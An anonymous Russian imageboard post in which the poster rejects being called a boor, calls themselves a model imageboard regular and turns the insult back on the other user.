Аноним 27/08/19 Втр 10:08:22 20271431255
>>202714160
Почему я быдло то? Я эталон битарда, где ты видишь быдло? А, может быть, ты сам быдло?
Настройки X
Ответить в тред X
15000 [S]
Макс объем: 20Mб, макс кол-во файлов: 4
Кликни/брось файл/ctrl-v
X
Ваш шидевор X
Стикеры X
Избранное / Топ тредов